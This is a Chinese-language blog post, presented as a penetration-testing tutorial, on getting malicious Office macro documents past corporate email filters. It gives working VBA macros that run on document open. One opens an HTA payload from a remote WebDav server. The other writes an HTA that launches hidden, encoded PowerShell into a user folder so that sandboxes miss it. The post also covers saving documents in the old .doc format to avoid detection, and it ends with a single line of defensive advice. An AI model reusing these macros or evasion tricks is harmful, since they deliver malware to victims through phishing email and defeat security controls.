如何绕过邮件过滤器投递恶意宏代码 - 高级渗透测试技巧

本文详细介绍了如何通过修改文档格式、使用Shell.Application方法、HTA文件投递等技术手段,绕过企业邮件安全过滤器投递恶意Office宏代码的高级渗透测试技术。

如何绕过邮件过滤器投递恶意宏代码

警告:本文所述技术可能已过时,不适用于当前环境。但仍可作为学习资料,或用于更新现代工具技术。

恶意宏代码是有效的攻击技术手段。为防范此类攻击,邮件安全过滤器通常会拦截恶意宏文档。以下是我总结的有效绕过技术:

基础技巧:使用旧版文档格式

Ethan Robish(@ethanrobish)传授的标准技巧是将宏文档另存为"Word 97-2003文档"格式。新版Office要求宏文档使用".docm"扩展名,而旧格式允许使用更隐蔽的".doc"扩展名。

进阶技术:WebDav投递HTA文件

当传统PowerShell Empire、Metasploit等方法失效时,以下宏代码可通过WebDav服务器获取HTA文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Sub AutoOpen()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function Debugging() As Variant
    Set shellApp = CreateObject("Shell.Application")
    shellApp.Open ("\\your.webdavserver.net\webdav\updater.hta")
End Function

该代码使用较少受监控的"Shell.Application Open"方法。需将"your.webdavserver.net"替换为实际WebDav服务器地址。

HTA文件生成方法

使用PowerShell Empire等工具生成HTA文件:

受限环境应对方案

当目标无法联网时,可将HTA写入特定用户目录(如c:\Users\croberts\),该路径在沙箱中不存在但能在真实环境生效:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Public Function Bhistest() As Variant
    Dim Str As String
    Dim Str2 As String
    Str = "<html><head><script>var c= 'powershell.exe -NoP -sta -NonI -W Hidden -Enc "
    '...省略编码命令...
    Str2 = "new ActiveXObject('WScript.Shell').Run(c,0);</script></head><body><script>self.close();</script></body></html>"
    
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile("c:\users\croberts\final.hta", True)
    objFile.Write Str & vbCrLf
    objFile.Write Str2
    objFile.Close
    
    Set shellApp = CreateObject("Shell.Application")
    shellApp.Open ("c:\users\croberts\final.hta")
End Function

防御建议

企业真的需要允许接收来自外部的宏文档吗?这始终是高风险操作。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计